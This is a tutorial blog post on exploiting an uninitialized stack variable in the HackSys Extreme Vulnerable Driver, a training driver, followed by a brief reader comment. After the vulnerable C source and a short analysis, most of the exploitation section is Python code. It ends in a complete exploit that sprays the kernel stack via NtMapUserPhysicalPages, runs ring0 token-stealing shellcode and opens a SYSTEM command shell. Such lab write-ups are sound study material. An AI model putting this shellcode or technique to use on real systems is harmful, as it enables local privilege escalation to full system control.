Overview
In the previous part, we looked into a simple NULL Pointer Dereference vulnerability. In this part, we’ll discuss about another vulnerability, Uninitialized Stack Variable. This vulnerability arises when the developer defines a variable in the code, but doesn’t initialize it. So, during runtime, the variable would have some value, albeit an unpredictable one. How this issue could be exploited by an attacker, we’d see in this part.
Again, huge thanks to @hacksysteam for the driver.
Analysis
Let’s analyze the UninitializedStackVariable.c file:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 |
NTSTATUS TriggerUninitializedStackVariable(IN PVOID UserBuffer) { ULONG UserValue = 0; ULONG MagicValue = 0xBAD0B0B0; NTSTATUS Status = STATUS_SUCCESS; #ifdef SECURE // Secure Note: This is secure because the developer is properly initializing // UNINITIALIZED_STACK_VARIABLE to NULL and checks for NULL pointer before calling // the callback UNINITIALIZED_STACK_VARIABLE UninitializedStackVariable = {0}; #else // Vulnerability Note: This is a vanilla Uninitialized Stack Variable vulnerability // because the developer is not initializing 'UNINITIALIZED_STACK_VARIABLE' structure // before calling the callback when 'MagicValue' does not match 'UserValue' UNINITIALIZED_STACK_VARIABLE UninitializedStackVariable; #endif PAGED_CODE(); __try { // Verify if the buffer resides in user mode ProbeForRead(UserBuffer, sizeof(UNINITIALIZED_STACK_VARIABLE), (ULONG)__alignof(UNINITIALIZED_STACK_VARIABLE)); // Get the value from user mode UserValue = *(PULONG)UserBuffer; DbgPrint("[+] UserValue: 0x%p\n", UserValue); DbgPrint("[+] UninitializedStackVariable Address: 0x%p\n", &UninitializedStackVariable); // Validate the magic value if (UserValue == MagicValue) { UninitializedStackVariable.Value = UserValue; UninitializedStackVariable.Callback = &UninitializedStackVariableObjectCallback; } DbgPrint("[+] UninitializedStackVariable.Value: 0x%p\n", UninitializedStackVariable.Value); DbgPrint("[+] UninitializedStackVariable.Callback: 0x%p\n", UninitializedStackVariable.Callback); #ifndef SECURE DbgPrint("[+] Triggering Uninitialized Stack Variable Vulnerability\n"); #endif // Call the callback function if (UninitializedStackVariable.Callback) { UninitializedStackVariable.Callback(); } } __except (EXCEPTION_EXECUTE_HANDLER) { Status = GetExceptionCode(); DbgPrint("[-] Exception Code: 0x%X\n", Status); } return Status; } |
The issue is clearly mentioned, as the UninitializedStackVariable in the insecure version is not initialized to a value as in the Secure version. But that’s not the only problem here. The uninitialized variable is then called in the callback() function, which leads to this vulnerability.
Analyzing this vulnerability in IDA makes things a little more clearer:
We can see that if our comparison fails with our **Magic** value, the execution lands up in our vulnerable function, with a call to our callback at some offset from our ebp.
So, if we can control what’s there under the callback address, we should reliably be able to direct the flow to our shellcode. With that in mind, let’s jump onto the exploitation then.
Exploitation
Let’s start with our skeleton script:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
import ctypes, sys, struct from ctypes import * from subprocess import * def main(): kernel32 = windll.kernel32 psapi = windll.Psapi ntdll = windll.ntdll hevDevice = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None) if not hevDevice or hevDevice == -1: print "*** Couldn't get Device Driver handle" sys.exit(-1) buf = "\xb0\xb0\xd0\xba" bufLength = len(buf) kernel32.DeviceIoControl(hevDevice, 0x22202f, buf, bufLength, None, 0, byref(c_ulong()), None) if __name__ == "__main__": main() |
We see no crash, and execution completes normally.
Now, let’s change our **Magic** value to something else and analyze what happens.
This triggers our vulnerable function with the callback call. Now, as we discussed earlier, we somehow need to control the callback value to our shellcode’s pointer, so as when the call is made to this address, it actually initializes our shellcode.
To do this, the steps we need to follow:
- Find the kernel stack init address
- Find the offset of our callback from this init address
- Spray the Kernel Stack with User controlled input from the user mode. (Good read about it can be found here by j00ru).
To find the kernel stack init address, run the !thread command, and then subtract the callback address from the stack init address to find the offset.
We get an offset of 0x524. You can confirm if this offset remains same through multiple runs. This won’t matter that much though as we’d be spraying the whole stack upto a certain length with our shellcode address using NtMapUserPhysicalPages function:
1 2 3 4 5 |
BOOL WINAPI MapUserPhysicalPages( _In_ PVOID lpAddress, _In_ ULONG_PTR NumberOfPages, _In_ PULONG_PTR UserPfnArray ); |
Not exactly the same function on MSDN, but the basic layout for the parameters is similar. More information about this function is found in the article above by j00ru.
Using this API, we can spray upto 1024*sizeof(ULONG_PTR), enough to cover our offset easily. Let’s spray our kernel stack with 0x41414141 and put a breakpoint at the end of NtMapUserPhysicalPages to analyze our spray:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
import ctypes, sys, struct from ctypes import * from subprocess import * def main(): kernel32 = windll.kernel32 psapi = windll.Psapi ntdll = windll.ntdll hevDevice = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None) if not hevDevice or hevDevice == -1: print "*** Couldn't get Device Driver handle" sys.exit(-1) ptr_adr = "\x41\x41\x41\x41" * 1024 buf = "\x37\x13\xd3\xba" bufLength = len(buf) ntdll.NtMapUserPhysicalPages(None, 1024, ptr_adr) kernel32.DeviceIoControl(hevDevice, 0x22202f, buf, bufLength, None, 0, byref(c_ulong()), None) if __name__ == "__main__": main() |
Awesome, our desired address contains our sprayed value.
Now, just include our shellcode from our previous post, and spray the address onto the kernel stack.
Final exploit would look like:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 |
import ctypes, sys, struct from ctypes import * from subprocess import * def main(): kernel32 = windll.kernel32 psapi = windll.Psapi ntdll = windll.ntdll hevDevice = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None) if not hevDevice or hevDevice == -1: print "*** Couldn't get Device Driver handle" sys.exit(-1) #Defining the ring0 shellcode and loading it in VirtualAlloc. shellcode = bytearray( "\x90\x90\x90\x90" # NOP Sled "\x60" # pushad "\x64\xA1\x24\x01\x00\x00" # mov eax, fs:[KTHREAD_OFFSET] "\x8B\x40\x50" # mov eax, [eax + EPROCESS_OFFSET] "\x89\xC1" # mov ecx, eax (Current _EPROCESS structure) "\x8B\x98\xF8\x00\x00\x00" # mov ebx, [eax + TOKEN_OFFSET] "\xBA\x04\x00\x00\x00" # mov edx, 4 (SYSTEM PID) "\x8B\x80\xB8\x00\x00\x00" # mov eax, [eax + FLINK_OFFSET] "\x2D\xB8\x00\x00\x00" # sub eax, FLINK_OFFSET "\x39\x90\xB4\x00\x00\x00" # cmp [eax + PID_OFFSET], edx "\x75\xED" # jnz "\x8B\x90\xF8\x00\x00\x00" # mov edx, [eax + TOKEN_OFFSET] "\x89\x91\xF8\x00\x00\x00" # mov [ecx + TOKEN_OFFSET], edx "\x61" # popad "\xC3" # ret ) ptr = kernel32.VirtualAlloc(c_int(0), c_int(len(shellcode)), c_int(0x3000), c_int(0x40)) buff = (c_char * len(shellcode)).from_buffer(shellcode) kernel32.RtlMoveMemory(c_int(ptr), buff, c_int(len(shellcode))) #Just converting the int returned address to a sprayable '\x\x\x\x' format. ptr_adr = hex(struct.unpack('<L', struct.pack('>L', ptr))[0])[2:].zfill(8).decode('hex') * 1024 print "[+] Pointer for ring0 shellcode: {0}".format(hex(ptr)) buf = '\x37\x13\xd3\xba' bufLength = len(buf) #Spraying the Kernel Stack. #Note that we'd need to prevent any clobbering of the stack from other functions. #Make sure to not include/call any function or Windows API between spraying the stack and triggering the vulnerability. print "\n[+] Spraying the Kernel Stack..." ntdll.NtMapUserPhysicalPages(None, 1024, ptr_adr) kernel32.DeviceIoControl(hevDevice, 0x22202f, buf, bufLength, None, 0, byref(c_ulong()), None) print "\n[+] nt authority\system shell incoming" Popen("start cmd", shell=True) if __name__ == "__main__": main() |
Thank you so much! This helped me a lot